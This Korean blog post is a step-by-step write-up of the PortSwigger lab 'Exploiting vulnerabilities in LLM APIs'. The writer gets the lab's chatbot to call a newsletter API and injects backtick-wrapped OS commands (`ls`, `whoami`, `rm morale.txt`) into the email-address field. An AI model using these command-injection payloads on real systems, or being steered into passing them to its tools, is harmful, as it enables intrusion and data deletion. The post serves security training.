(웹 LLM 공격) LLM API의 취약점 악용을 이용한 공격 연구

반응형
반응형

 

LAB : Exploiting vulnerabilities in LLM APIs

(LLM API의 취약점 악용을 이용한 공격)

 

실습 사이트(버프스위트 아카데미)

 

Web Application Security, Testing, & Scanning - PortSwigger

PortSwigger offers tools for web application security, testing, & scanning. Choose from a range of security tools, & identify the very latest vulnerabilities.

portswigger.net

 

 

실습 및 공격 목표


이 랩에는 API를 통해 악용될 수 있는 OS 명령 주입 취약성(OS Command Injection)이 포함되어 있습니다. 

LLM을 통해 이러한 API를 호출할 수 있습니다.

 

랩을 해결하려면 Carlos의 홈 디렉토리에서 morale.txt 파일을 삭제하세요.

 

 

필요한 지식


이 취약점에 대한 내용을 진행하려면 다음 사항을 알아야 합니다.

1. LLM API 공격 표면을 매핑하는 방법
2. OS 명령어 삽입 취약점을 악용하는 방법

 

 

AI 보안 위협 분석(AI 모델 해킹 방법 LLM 프롬프트 인젝션과 대처법, LLM과 API 취약점 연계 분석, 공

LLM은 Large Language Model의 약자로, 대규모 언어 모델을 뜻합니다. 이는 방대한 텍스트 데이터로 학습되어 언어 이해와 생성 능력을 가진 인공지능 모델입니다.  LLM은 자연어 처리(NL

ddalbabo.tistory.com

 

자세한 내용은 위에 있는 웹 LLM 공격에 관한 전반적인 내용 정리를 참조하세요.


Solution (단계별 공격 방법 및 풀이법)

 

Step 1. AI -LLM 관련 기능을 활용하기 위한 [Live chat] 메뉴에 접근

 

 

Step 2. 챗봇에게 사용 가능한 API 기능 문의

- 총 3개의 API로 확인됨.

ㄴ 각각 패스워드 리셋, 뉴스레터 구독, 제품 정보에 대한 API로 확인

 

Step 3. [Email Client] 메뉴 접속 시, email-address 확인 위함

- 뉴스레터 구독 기능은 email address를 이용하며, 관련 기능 확인 필요.

- 다른 API를 이용한 OS 명령어 주입은 까다로울 것으로 생각(계정 정보 필요 등)되어, 우선 뉴스레터 구독 기능을 이용해 OS 명령어 주입 시도

- 계정이 없으므로 비밀번호 재설정을 테스트하는 것은 까다로울 것입니다. 

(뉴스레터 구독 API가 더 나은 초기 테스트 대상입니다)

 

Step 4. email-address 확인 가능

- email-box 에서는 @ 해당 도메인 아래에 있는 모든 내용을 반환함.

 

Step 5: 뉴스레터 구독 API 이용하여 뉴스레터 구독


Step 6: 받은 메일함 확인

- 요청한 대로 이메일 주소로 구독 확인이 전송되었는지 확인합니다. 이는 LLM을 사용하여 뉴스레터 구독 API와 직접 상호 작용할 수 있음을 증명합니다.

 


Step 7: Email address 내 username 으로 처리되는 파라미터에 OS 명령어 주입 시도

"attacker`ls`@XXX.exploit-server.net

 

- 백틱을 이용한 `ls` 명령어 삽입

 

 


Step 8: 받은 메일함 내에 morale.txt 가 확인됨

- 백틱을 이용한 `ls` 명령어 삽입 결과가 그대로 반환됨

 


Step 9: @앞에 OS 명령어 주입하여 어떤 계정의 파일 목록을 반환하는지 확인

`whoami`

 


Step 10: carlos 의 파일 리스트를 반환한 것으로 확인

- 이때 잊지 말아야 하는 우리의 목표 : Carlos의 홈 디렉토리에서 morale.txt 파일을 삭제하세요.

 


Step 11: morale.txt 파일 삭제 명령어 주입

- 명령어는 항상 백틱을 이용해 감싸줍시다.

rm morale.txt

 

Step 12: 문제 해결 - Solved the lab!

 

 

반응형

댓글

Designed by JB FACTORY